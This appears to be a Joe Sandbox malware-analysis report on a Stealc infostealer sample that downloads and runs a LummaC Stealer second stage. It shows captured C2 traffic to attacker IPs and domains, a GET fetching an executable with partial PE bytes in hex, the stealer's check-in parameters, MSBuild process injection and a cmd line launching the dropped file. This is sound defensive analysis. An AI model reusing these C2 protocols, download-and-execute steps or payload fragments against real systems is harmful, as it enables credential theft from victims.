Oct 7, 2024 18:43:24.132215023 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAF Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 62 32 63 35 36 37 66 38 37 65 66 31 31 34 36 34 37 66 30 33 33 64 38 37 62 63 30 37 31 65 62 33 32 32 65 38 36 65 39 38 31 64 63 34 36 37 31 30 34 31 66 64 66 62 38 35 37 64 33 64 62 61 32 31 64 35 33 34 62 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 2d 2d 0d 0a Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="token"f4b2c567f87ef114647f033d87bc071eb322e86e981dc4671041fdfb857d3dba21d534bc------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAKEHIJJKEGIDHIEHDAF--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49736	147.45.44.104	80	2012	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:43:22.823404074 CEST	101	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: nsdm.cumpar-auto-orice-tip.ro Cache-Control: no-cache
Oct 7, 2024 18:43:23.416369915 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:43:23 GMT Content-Type: application/octet-stream Content-Length: 551424 Last-Modified: Mon, 07 Oct 2024 16:21:33 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "67040a8d-86a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 8d 0a 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=9yWUyWUyWUTTuWURTWUSTlWUVTzWUyVU!WUilTTmWUilSTkWUilRT4WU1m^TxWU1mUxWU1mUTxWURichyWUPELg)bRo0@q4@(@0,.text `.rdatax0@@.data@.rsrcJ@@.relocN@B
Oct 7, 2024 18:43:23.416418076 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dH<h BaYh BxaYh BlaYeHEeH<h BLaYjjheHeHDh B-aYVWj!YeH
Oct 7, 2024 18:43:23.416485071 CEST	1236	IN	Data Raw: cf e8 51 44 00 00 8b cf c7 05 e8 65 48 00 50 33 42 00 c6 05 30 66 48 00 00 c6 05 26 66 48 00 00 e8 9a 49 00 00 a1 40 66 48 00 8b 0d 44 66 48 00 83 25 20 66 48 00 00 68 d2 20 42 00 89 35 34 66 48 00 a3 28 66 48 00 89 0d 2c 66 48 00 e8 c7 60 00 00 Data Ascii: QDeHP3B0fH&fHI@fHDfH% fHh B54fH(fH,fH`Y_^\|fH<h B`Yh B`Y`sHUuuuuup0H]D$Pjt$t$t$L$tD$W\|$f
Oct 7, 2024 18:43:23.416497946 CEST	1236	IN	Data Raw: 08 5d c2 08 00 f6 44 24 04 01 56 8b f1 74 0a 6a 08 56 e8 76 57 00 00 59 59 8b c6 5e c2 04 00 83 61 04 00 8b c1 83 61 08 00 c7 41 04 10 aa 42 00 c7 01 84 32 42 00 c3 55 8b ec 83 ec 0c 8d 4d f4 e8 da ff ff ff 68 ec c5 42 00 8d 45 f4 50 e8 f4 6d 00 Data Ascii: ]D$VtjVvWYY^aaAB2BUMhBEPmVt$2B^D$V2BtjVWYY^SV3S<73^^^^^fF^fF ^$^(^,^09D$tt$VU;YY^[hB8VWV;~,Y
Oct 7, 2024 18:43:23.416532040 CEST	1236	IN	Data Raw: 00 55 8b ec 83 ec 0c 8d 41 18 0f 57 c0 50 8d 45 f4 66 0f 13 45 f4 50 6a 01 8d 45 08 50 8d 45 fc 50 e8 24 31 00 00 0f b7 4d fc 83 c4 14 85 c0 ba ff ff 00 00 0f 48 ca 66 8b c1 c9 c2 04 00 e9 be ff ff ff 53 56 8b 74 24 0c 8b d9 3b 74 24 10 74 1e 57 Data Ascii: UAWPEfEPjEPEP$1MHfSVt$;t$tW\|$PFf;t$u_^[U@B3EAWPEfEPuEPNMUEM3QUSVu;utW}uPG;uu
Oct 7, 2024 18:43:23.416569948 CEST	1236	IN	Data Raw: 00 33 f6 83 e0 03 83 e8 01 74 1c 83 e8 01 74 0d 83 e8 01 75 20 0f be 74 8a 02 c1 e6 10 0f be 44 8a 01 c1 e0 08 33 f0 0f be 04 8a 33 c6 69 c0 95 e9 d1 5b 33 d8 8b c3 c1 e8 0d 33 c3 69 c8 95 e9 d1 5b 5f 5e 5b 8b c1 c1 e8 0f 33 c1 c9 c3 55 8b ec 83 Data Ascii: 3ttu tD33i[33i[_^[3U,@B3D$(SV5HsH3WT$F<D0xD$x @D$t0L$P<L$;D$t*L$C;\$r3L$4>_^[3L]B^P&T$YB$X
Oct 7, 2024 18:43:23.416604996 CEST	1236	IN	Data Raw: 4e 66 81 e3 ac 00 c1 ce 1f 46 66 49 f7 ef eb 09 c1 cf e2 f7 eb 66 c1 d7 40 81 ef 18 01 00 00 74 0b 0b ca f7 eb 66 f7 eb f7 ef eb 0e f7 e6 05 e8 02 00 00 66 42 66 4b 66 f7 ef 43 43 66 81 e1 25 03 75 04 f7 e8 eb 12 66 81 e7 9d 02 4a 8b de 66 c1 e7 Data Ascii: NfFfIf@tffBfKfCCf%ufJfJCAf#/tfRf=fJfrfAfBwCff%ffsf#fff\|fyJf+fs ffJ#f>f
Oct 7, 2024 18:43:23.416640043 CEST	1236	IN	Data Raw: 08 00 cc cc cc cc cc e9 e9 08 00 00 56 57 ff 74 24 0c 8b f1 33 c0 8b fe ab ab ab ab 83 66 10 00 83 66 14 00 e8 4b 09 00 00 5f 8b c6 5e c2 04 00 56 57 ff 74 24 0c 8b f1 33 c0 8b fe ab ab ab ab 83 66 10 00 83 66 14 00 e8 c0 ab 00 00 59 50 ff 74 24 Data Ascii: VWt$3ffK_^VWt$3ffYPt$_^VWt$3t$ff_^VW3D$ffxvpQ_^UL@B3D$HES]VuWPhBD$j@PP
Oct 7, 2024 18:43:23.416673899 CEST	1236	IN	Data Raw: 42 00 33 c4 89 44 24 50 53 8b 5d 08 8d 44 24 08 56 8b 75 14 57 ff 75 20 8b f9 ff 75 1c ff 76 14 68 9c aa 42 00 50 57 e8 39 08 00 00 83 c4 10 50 8d 44 24 24 6a 40 50 e8 81 e3 ff ff 50 8d 44 24 30 50 ff 75 18 56 ff 75 10 ff 75 0c 53 57 e8 34 05 00 Data Ascii: B3D$PS]D$VuWu uvhBPW9PD$$j@PPD$0PuVuuSW4$4_^[3>]UT@B3D$PS]D$VuWu uvhBPWPD$$j@PPD$0PuVuuSW$4_^[3G>]UT
Oct 7, 2024 18:43:23.416712046 CEST	1000	IN	Data Raw: 08 56 e8 8e 3a 00 00 59 59 8b c6 5e c2 04 00 ff 71 14 8b 4c 24 08 e8 94 07 00 00 8b 44 24 04 c2 04 00 ff 71 10 8b 4c 24 08 e8 81 07 00 00 8b 44 24 04 c2 04 00 ff 71 08 8b 4c 24 08 e8 47 f6 ff ff 8b 44 24 04 c2 04 00 66 8b 41 0e c3 66 8b 41 0c c3 Data Ascii: V:YY^qL$D$qL$D$qL$GD$fAfAUVutuMuEMU^P]UVutW}MPu_EMU^P]UL@B3D$HM$EU D$T$$S]\$VWt<+t<-u
Oct 7, 2024 18:43:23.421922922 CEST	1236	IN	Data Raw: 00 00 74 05 8a 47 01 eb 09 c0 e0 03 f6 d0 24 20 0c 58 88 02 8b c6 5f c6 42 01 00 5e c3 8b 54 24 10 56 8b 74 24 0c 57 c6 06 25 8d 46 01 f6 c2 20 74 04 c6 00 2b 40 f6 c2 10 74 04 c6 00 23 40 8a 4c 24 14 66 c7 00 2e 2a 83 c0 02 84 c9 74 03 88 08 40 Data Ascii: tG$ X_B^T$Vt$W%F t+@t#@L$f.*t@0#t" t";uA6ME$ uf;uaMe@_^@L8t`jB4;}@t88WM}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49749	104.21.74.165	443	7676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:43:25 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: isoplethui.sbs
2024-10-07 16:43:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 16:43:26 UTC	770	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=urofhf1s77gdm8gjucrse0mgfs; expires=Fri, 31 Jan 2025 10:30:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yhRafiIQRkHc9le7wiLjXkbiZ6SESdLkjuTPee8WeLSv6K85NvS37qXNAMPDcQVtgWHjNbjeyIqkRmEqr3WGWJo9UAaD692RwqK6tq8fZQ7S%2FO%2B%2Bnh0PV1c6LAjSkIsfCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef599cbc0c72ad-EWR
2024-10-07 16:43:26 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 16:43:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49760	188.114.96.3	443	7676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:43:26 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: wickedneatr.sbs
2024-10-07 16:43:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 16:43:26 UTC	547	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vS07wtG9Tyu8O5cS6%2Fuj6k00iRoxskURY1VsaUNEZ9CqTyj6oO7eufAgS6245lWg60T6VndCFsN53NUi%2BGpqBr%2BLP3BmLmKm0LOVk8QgOVbQsChXn7GgSLAQvtVmYw51FtM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef59a41f62c33a-EWR
2024-10-07 16:43:26 UTC	822	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-07 16:43:26 UTC	1369	IN	Data Raw: 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 65 2d 61 Data Ascii: rrors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-a
2024-10-07 16:43:26 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 32 42 70 6a 68 45 67 4d 4c 72 75 5a 4f 53 6b 32 4d 33 5f 32 70 74 56 51 6d 55 54 78 55 63 34 63 37 67 6e 73 75 48 39 75 48 47 38 2d 31 37 32 38 33 31 39 34 30 36 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d Data Ascii: <input type="hidden" name="atok" value="2BpjhEgMLruZOSk2M3_2ptVQmUTxUc4c7gnsuH9uHG8-1728319406-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style=
2024-10-07 16:43:26 UTC	845	IN	Data Raw: 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 3e 3c 2f 73 Data Ascii: dden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></s
2024-10-07 16:43:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49766	188.114.96.3	443	7676	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:43:27 UTC	352	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=2BpjhEgMLruZOSk2M3_2ptVQmUTxUc4c7gnsuH9uHG8-1728319406-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: wickedneatr.sbs
2024-10-07 16:43:27 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=
2024-10-07 16:43:27 UTC	772	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i234kr9v402avnrj3dp6395m83; expires=Fri, 31 Jan 2025 10:30:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=orDfXQU%2BxDfulokqGLRewDLrQQ6%2BxDffz4Xpyv8sS1d4Iz8AuvEJ%2Fj%2B51DJ66mhCVj1ic%2BTyRzPo58SW7lxmBHmWnjKwAeGdJUfDKz6U3Tve8G55QG22BaXaunrUpqv5V3Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef59a839a2c329-EWR
2024-10-07 16:43:27 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 16:43:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:43:07
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\45Ywq5ad5H.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\45Ywq5ad5H.exe"
Imagebase:	0x9d0000
File size:	505'344 bytes
MD5 hash:	B6ABD0879EBC05D7BE3038ED080CFCB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:43:07
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xce0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: HiddenCobra_BANKSHOT_Gen, Description: Detects Hidden Cobra BANKSHOT trojan, Source: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:43:07
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 268
Imagebase:	0xba0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:43:23
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userJKECGDBFCB.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:43:23
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:43:23
Start date:	07/10/2024
Path:	C:\Users\userJKECGDBFCB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userJKECGDBFCB.exe"
Imagebase:	0xc0000
File size:	551'424 bytes
MD5 hash:	8E704ACD1B0C26FDCFD0374D57FCB28E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000012.00000002.1476556725.00000000000ED000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:43:23
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x7a0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000013.00000002.1624642212.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:43:24
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7660 -s 284
Imagebase:	0xba0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:43:27
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 1660
Imagebase:	0xba0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:25:31
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 1680
Imagebase:	0xba0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	4

Executed Functions

Function 009D2021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00A4A6D8,?,00000040,?), ref: 009D2738

Strings

', xrefs: 009D2718
S, xrefs: 009D206A
a, xrefs: 009D2296

Memory Dump Source

Source File: 00000000.00000002.1457401282.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000000.00000002.1457350071.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457458741.00000000009F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457487568.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457536375.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457567322.0000000000A4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457604306.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d0000_45Ywq5ad5H.jbxd

Yara matches

Similarity

